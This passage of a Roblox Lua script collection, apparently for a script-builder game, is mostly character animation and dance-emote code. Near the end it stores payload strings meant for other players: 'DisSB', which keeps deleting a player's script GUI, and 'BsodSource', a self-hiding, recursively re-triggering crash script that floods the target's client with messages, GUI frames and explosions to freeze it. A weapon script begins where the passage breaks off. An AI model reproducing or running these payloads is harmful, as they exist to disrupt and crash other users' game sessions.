6232 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles((math.pi/8/5*slidecount) + math.pi + angle*0.05, 0, 0) | |
6233 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles((math.pi/8/5*slidecount) + math.pi + -angle*0.05, 0, 0) | |
6234 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.28, 0, 0) | |
6235 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.28, 0, 0) | |
6236 | if not looking then | |
6237 | rj.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0) | |
6238 | end | |
6239 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0) | |
6240 | elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 2 then | |
6241 | ||
6242 | -- idle anim | |
6243 | ||
6244 | anim = "Idle" | |
6245 | if anim ~= lastanim then | |
6246 | if lastanim == "Walking" then | |
6247 | speed = 0.5 | |
6248 | slidecount = 1 | |
6249 | slidecountmax = 0 | |
6250 | elseif lastanim == "Running" then | |
6251 | speed = 2.5 | |
6252 | slidecount = 5 | |
6253 | slidecountmax = 0 | |
6254 | else | |
6255 | slidecount = 0 | |
6256 | slidecountmax = 0 | |
6257 | end | |
6258 | end | |
6259 | countspeed = 1 | |
6260 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.02, 0, 0) | |
6261 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.02, 0, 0) | |
6262 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.01, 0, 0) | |
6263 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.01, 0, 0) | |
6264 | if not looking then | |
6265 | rj.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0) | |
6266 | end | |
6267 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0) | |
6268 | elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 14 then | |
6269 | looking = false | |
6270 | -- walk anim | |
6271 | anim = "Walking" | |
6272 | if anim ~= lastanim then | |
6273 | speed = 0.2 | |
6274 | slidecount = 0 | |
6275 | slidecountmax = 1 | |
6276 | if lastanim == "Running" then | |
6277 | slidecount = 5 | |
6278 | end | |
6279 | end | |
6280 | countspeed = 6 | |
6281 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.3, 0, math.abs(angle*0.02)) | |
6282 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.3, 0, -math.abs(angle*0.02)) | |
6283 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.28, 0, -math.abs(angle*0.01)) | |
6284 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.28, 0, math.abs(angle*0.01)) | |
6285 | rj.C0 = CFrame.new(0, math.abs(-angle*0.035), 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0) | |
6286 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0) | |
6287 | elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then | |
6288 | --run anim | |
6289 | anim = "Running" | |
6290 | if anim ~= lastanim then | |
6291 | speed = 1 | |
6292 | slidecount = 0 | |
6293 | slidecountmax = 5 | |
6294 | if lastanim == "Walking" then | |
6295 | slidecount = 1 | |
6296 | end | |
6297 | end | |
6298 | ||
6299 | looking = false | |
6300 | countspeed = 9 | |
6301 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.4, 0, math.abs(angle*0.07)) | |
6302 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.4, 0, -math.abs(angle*0.07)) | |
6303 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.38, 0, -math.abs(angle*0.03)) | |
6304 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.38, 0, math.abs(angle*0.03)) | |
6305 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0) | |
6306 | rj.C0 = CFrame.new(0, math.abs(-angle*.055), 0) * CFrame.Angles(-math.pi/8/5*slidecount, math.sin(angle*0.05), 0) | |
6307 | end | |
6308 | ||
6309 | lastanim = anim | |
6310 | else | |
6311 | countspeed = 1 | |
6312 | local ray = Ray.new(rootpart.Position, Vector3.new(0, -2, 0)) | |
6313 | local hitz, enz = workspace:FindPartOnRay(ray, char) | |
6314 | if not hitz then | |
6315 | rj.C0 = CFrame.new(0, -0.5, 0) * CFrame.Angles(-math.pi/2, 0, 0) | |
6316 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.rad(30), 0, -math.pi/16) | |
6317 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.rad(30), 0, math.pi/16) | |
6318 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.pi-math.rad(30), 0, -math.pi/10) | |
6319 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.pi-math.rad(30), 0, math.pi/10) | |
6320 | else | |
6321 | rj.C0 = CFrame.new(0, -0.35, 0) * CFrame.Angles(math.rad(10), 0, 0) | |
6322 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, -math.pi/16) | |
6323 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, math.pi/16) | |
6324 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.rad(10), 0, -math.pi/10) | |
6325 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.rad(10), 0, math.pi/10) | |
6326 | end | |
6327 | ||
6328 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(angle*0.055, 0, 0) | |
6329 | end | |
6330 | else | |
6331 | if superannoying then | |
6332 | countspeed = 5 | |
6333 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07)) | |
6334 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07)) | |
6335 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03)) | |
6336 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03)) | |
6337 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
6338 | rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0) | |
6339 | elseif barrelroll then | |
6340 | countspeed = 5 | |
6341 | sinespeed = 0.1 | |
6342 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, math.abs(angle*0.07)) | |
6343 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.07)) | |
6344 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, 0, -math.abs(angle*0.03)) | |
6345 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, 0, math.abs(angle*0.03)) | |
6346 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
6347 | rj.C0 = CFrame.new(math.sin(sine)*2.5, 0, 0) * CFrame.Angles(-math.pi/2, math.sin(sine)*4.5, 0) | |
6348 | elseif dubstepgun then | |
6349 | global_wait = (global_wait % 380) + 1 | |
6350 | countspeed = 5 | |
6351 | if global_wait < 249 - 40 then | |
6352 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.27)) | |
6353 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.27)) | |
6354 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03)) | |
6355 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03)) | |
6356 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
6357 | rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0) | |
6358 | elseif global_wait > 249 - 40 then | |
6359 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.4, 0, math.abs(angle*0.11)) | |
6360 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.11)) | |
6361 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.09)) | |
6362 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.09)) | |
6363 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
6364 | rj.C0 = CFrame.new(0, math.abs(-angle*.075), 0) * CFrame.Angles(0, math.pi/3 + math.sin(angle*0.15), 0) | |
6365 | end | |
6366 | elseif youpirate then | |
6367 | global_wait = (global_wait % 380) + 1 | |
6368 | countspeed = 5 | |
6369 | if global_wait < 79 then | |
6370 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, -math.abs(angle*0.07)) | |
6371 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.2, 0, math.abs(angle*0.07)) | |
6372 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03)) | |
6373 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03)) | |
6374 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
6375 | rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0) | |
6376 | elseif global_wait < 299 then | |
6377 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, math.abs(angle*0.11)) | |
6378 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.11)) | |
6379 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.2, 0, -math.abs(angle*0.1)) | |
6380 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.2, 0, math.abs(angle*0.1)) | |
6381 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), math.sin(angle*0.19), 0) | |
6382 | rj.C0 = CFrame.new(0, math.abs(-angle*.055+0.2), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0) | |
6383 | elseif global_wait > 299 then | |
6384 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, -math.abs(angle*0.07)) | |
6385 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.2, 0, math.abs(angle*0.07)) | |
6386 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03)) | |
6387 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03)) | |
6388 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
6389 | rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0) | |
6390 | end | |
6391 | elseif canttouch then | |
6392 | countspeed = 5 | |
6393 | global_wait = (global_wait % 160) + 1 | |
6394 | if global_wait == 160 then global_wait = 0 end | |
6395 | if global_wait < 39 then | |
6396 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07)) | |
6397 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07)) | |
6398 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03)) | |
6399 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03)) | |
6400 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
6401 | rj.C0 = CFrame.new(0, math.abs(-angle*.03), 0) * CFrame.Angles(0, -math.pi/6, 0) | |
6402 | elseif global_wait < 79 then | |
6403 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07)) | |
6404 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07)) | |
6405 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03)) | |
6406 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03)) | |
6407 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
6408 | rj.C0 = CFrame.new(0, math.abs(-angle*.03), 0) * CFrame.Angles(0, math.pi/6, 0) | |
6409 | elseif global_wait < 119 then | |
6410 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(0.01, 0, 0.17) | |
6411 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(0.01, 0, -0.17) | |
6412 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), -math.abs(angle*0.06)) | |
6413 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), math.abs(angle*0.06)) | |
6414 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
6415 | rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, 0, 0) | |
6416 | torso.CFrame = torso.CFrame * CFrame.new(0.05, 0, 0) | |
6417 | elseif global_wait > 119 then | |
6418 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(0.01, 0, 0.17) | |
6419 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(0.01, 0, -0.17) | |
6420 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), -math.abs(angle*0.06)) | |
6421 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), math.abs(angle*0.06)) | |
6422 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
6423 | rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, 0, 0) | |
6424 | torso.CFrame = torso.CFrame * CFrame.new(-0.05, 0, 0) | |
6425 | end | |
6426 | elseif gangnam then | |
6427 | countspeed = 5 | |
6428 | if global_wait == 180 then global_wait = 0 end | |
6429 | global_wait = (global_wait % 180) + 1 | |
6430 | if global_wait < 89 then | |
6431 | ls.C0 = CFrame.new(-.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, math.pi/3 + math.abs(angle*0.05)) | |
6432 | rs.C0 = CFrame.new(.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, -math.pi/3 + -math.abs(angle*0.05)) | |
6433 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03)) | |
6434 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03)) | |
6435 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
6436 | rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0) | |
6437 | elseif global_wait > 89 then | |
6438 | ls.C0 = CFrame.new(-.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, math.pi/3 + math.abs(angle*0.05)) | |
6439 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + math.sin(angle*0.1), 0, -math.sin(angle*0.1)) | |
6440 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03)) | |
6441 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03)) | |
6442 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
6443 | rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0) | |
6444 | end | |
6445 | elseif foxie then | |
6446 | countspeed = 5 | |
6447 | global_wait = (global_wait % 380) + 2 | |
6448 | if global_wait < 89 then | |
6449 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + math.abs(angle*0.1), 0, -math.abs(angle*0.2)) | |
6450 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + math.abs(angle*0.1), 0, math.abs(angle*0.2)) | |
6451 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03)) | |
6452 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03)) | |
6453 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
6454 | rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.rad(global_wait*4), 0) | |
6455 | elseif global_wait > 89 then | |
6456 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, math.abs(angle*0.05)) | |
6457 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, -math.abs(angle*0.05)) | |
6458 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03)) | |
6459 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03)) | |
6460 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, math.sin(angle*0.1)) | |
6461 | rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0) | |
6462 | end | |
6463 | elseif durka then | |
6464 | countspeed = 2 | |
6465 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, math.abs(angle*0.07)) | |
6466 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.07)) | |
6467 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, 0, -math.abs(angle*0.03)) | |
6468 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, 0, math.abs(angle*0.03)) | |
6469 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
6470 | rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0) | |
6471 | elseif saxguy then | |
6472 | countspeed = 5 | |
6473 | ls.C0 = CFrame.new(-.25,.1,-.1) * CFrame.Angles(math.pi/2.5, 0, math.pi/4) | |
6474 | rs.C0 = CFrame.new(.25,.1,-.1) * CFrame.Angles(math.rad(60), 0, -math.pi/4) | |
6475 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, -0.06) | |
6476 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, 0.06) | |
6477 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(0, 0, 0) | |
6478 | rj.C0 = CFrame.new(0, -math.abs(angle*0.01), math.abs(angle*0.01)) * CFrame.Angles(math.abs(angle*0.1), 0, 0) | |
6479 | elseif heya then | |
6480 | countspeed = 5 | |
6481 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + -angle*0.2, -angle*0.1, 0) | |
6482 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, angle*0.1, 0) | |
6483 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06) | |
6484 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06) | |
6485 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0) | |
6486 | rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.sin(angle*0.07), 0) | |
6487 | elseif jb then | |
6488 | countspeed = 5 | |
6489 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + -angle*0.2, -angle*0.1, 0) | |
6490 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, angle*0.1, 0) | |
6491 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06) | |
6492 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06) | |
6493 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0) | |
6494 | rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0) | |
6495 | elseif canttt then | |
6496 | countspeed = 5 | |
6497 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + -angle*0.2, -angle*0.1, 0) | |
6498 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, angle*0.1, 0) | |
6499 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06) | |
6500 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06) | |
6501 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0) | |
6502 | rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0) | |
6503 | elseif bronymusic then | |
6504 | countspeed = 5 | |
6505 | ls.C0 = CFrame.new(-.1,.1,-.15) * CFrame.Angles(math.pi/2 + -angle*0.1, -angle*0.1, 0) | |
6506 | rs.C0 = CFrame.new(.1,.1,-.15) * CFrame.Angles(math.pi/2 + angle*0.1, angle*0.1, 0) | |
6507 | lh.C0 = CFrame.new(-.1,-.25,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, 0) | |
6508 | rh.C0 = CFrame.new(.1,-.25,0) * CFrame.Angles(math.pi/2 + -angle*0.1, 0, 0) | |
6509 | neck.C0 = CFrame.new(0,.25,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.25), 0, 0) | |
6510 | rj.C0 = CFrame.new(0, -0.2 + math.abs(angle*0.05), 0) * CFrame.Angles(-math.rad(85), 0, 0) | |
6511 | elseif sheddy then | |
6512 | countspeed = 7 | |
6513 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/4 + -angle*0.4, -angle*0.1, 0) | |
6514 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/4 + angle*0.4, angle*0.1, 0) | |
6515 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06) | |
6516 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06) | |
6517 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0) | |
6518 | rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0) | |
6519 | elseif burndem then | |
6520 | countspeed = 4 | |
6521 | ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/4 + -angle*0.4, -angle*0.1, 0) | |
6522 | rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/4 + angle*0.4, angle*0.1, 0) | |
6523 | lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06) | |
6524 | rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06) | |
6525 | neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0) | |
6526 | rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0) | |
6527 | end | |
6528 | end | |
6529 | end) | |
6530 | plr.Chatted:connect(function(msg) | |
6531 | game:service'Chat':Chat(head, msg, 0) | |
6532 | if msg == "reset/" then | |
6533 | char:breakJoints() | |
6534 | end | |
6535 | if msg == "resp/" then | |
6536 | plr:LoadCharacter() | |
6537 | end | |
6538 | end) | |
6539 | end) | |
6540 | if not ran and err then | |
6541 | print(err) | |
6542 | end | |
6543 | ]] | |
6544 | DisSB = [[ | |
6545 | plr = game:service'Players'.LocalPlayer | |
6546 | while true do | |
6547 | if plr:FindFirstChild("PlayerGui") then | |
6548 | if plr.PlayerGui:FindFirstChild("SBGUI") then | |
6549 | plr.PlayerGui.SBGUI:Remove() | |
6550 | end | |
6551 | end | |
6552 | wait() | |
6553 | end | |
6554 | ]] | |
6555 | BsodSource = [[ | |
6556 | wait() | |
6557 | script.Parent = game:service'TeleportService' | |
6558 | CC = workspace.CurrentCamera | |
6559 | RS = game:service("RunService") | |
6560 | PG = game.Players.LocalPlayer.PlayerGui | |
6561 | C = game.Players.LocalPlayer.Character | |
6562 | function Lag() | |
6563 | coroutine.resume(coroutine.create(function() | |
6564 | while wait() do | |
6565 | M = Instance.new("Message",CC) | |
6566 | M.Text = tick()*math.floor(5%4*21) | |
6567 | H = Instance.new("Hint",CC) | |
6568 | H.Text = 'Man, Theres a reason you gotta go.' | |
6569 | SG=Instance.new("ScreenGui",PG) | |
6570 | FR=Instance.new("Frame",SG) | |
6571 | FR.Size = UDim2.new(500,500,500,500) | |
6572 | while wait() do | |
6573 | FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255)) | |
6574 | end | |
6575 | P=Instance.new("Part",CC) | |
6576 | E=Instance.new("Explosion",P) | |
6577 | E.BlastRadius=math.huge | |
6578 | E.Position=P.Position | |
6579 | F=Instance.new("Fire",P) | |
6580 | S=Instance.new("Smoke",P) | |
6581 | P.CFrame = CC.Focus | |
6582 | P.Anchored = true | |
6583 | P.CanCollide = false | |
6584 | P.AncestryChanged:connect(function()Lag()end) | |
6585 | for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end | |
6586 | end | |
6587 | end)) | |
6588 | end | |
6589 | RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)]] | |
6590 | Scythe = [[ | |
6591 | LocalPlayer = game.Players.LocalPlayer.Name | |
6592 | script.Parent = game:GetService'Players':FindFirstChild(LocalPlayer) ~= nil and game:GetService'Players':FindFirstChild(LocalPlayer) | |
6593 | sn = table.concat({"Pwn","age"," ","Scy","th"}) | |
6594 | spd = 0.125 -- (1/SPD) = FramesPerSecond:> | |
6595 | d = {17,100} -- dmg | |
6596 | Decs={} | |
6597 | Decs.Totem = "35624068" | |
6598 | Decs.Tornado = "1051557" | |
6599 | Decs.SpikeBall = "9982590" | |
6600 | Decs.Fist = "65322375" | |
6601 | Decs.RedCliffT = "49754754" | |
6602 | Decs.RedCliff = "49754655" | |
6603 | Decs.Chakram = "18430887" | |
6604 | Decs.Chakram2 = "47260990" | |
6605 | Decs.Chakram3 = "19251107" | |
6606 | Decs.Diamond = "9756362" | |
6607 | Decs.Sword1 = "rbxasset://fonts/s" .. "word.mesh" | |
6608 | Decs.EF1 = "64467174" | |
6609 | Decs.TSkull1="36869975" | |
6610 | Decs.Skull1="36869983" | |
6611 | Decs.Shield1="60120613" Decs.Ring="3270017" Decs.Shine="48965808" Decs.Crack="49173398" Decs.Cloud="1095708" Decs.Spike="1033714" Decs.Rock="1290033" Decs.Crown="20329976" Decs.Crown2="1323306" | |
6612 | Decs.SplinteredSkyT="50798688" Decs.SplinteredSky="50798664" | |
6613 | e = string.char p = game:service'Players' l = game:service'Lighting' w = workspace -- dirteh useless funkshuns bel0w | |
6614 | w = wait wt = 0.1 s=script q = function(f) coroutine.resume(coroutine.create(function() f() end)) end | |
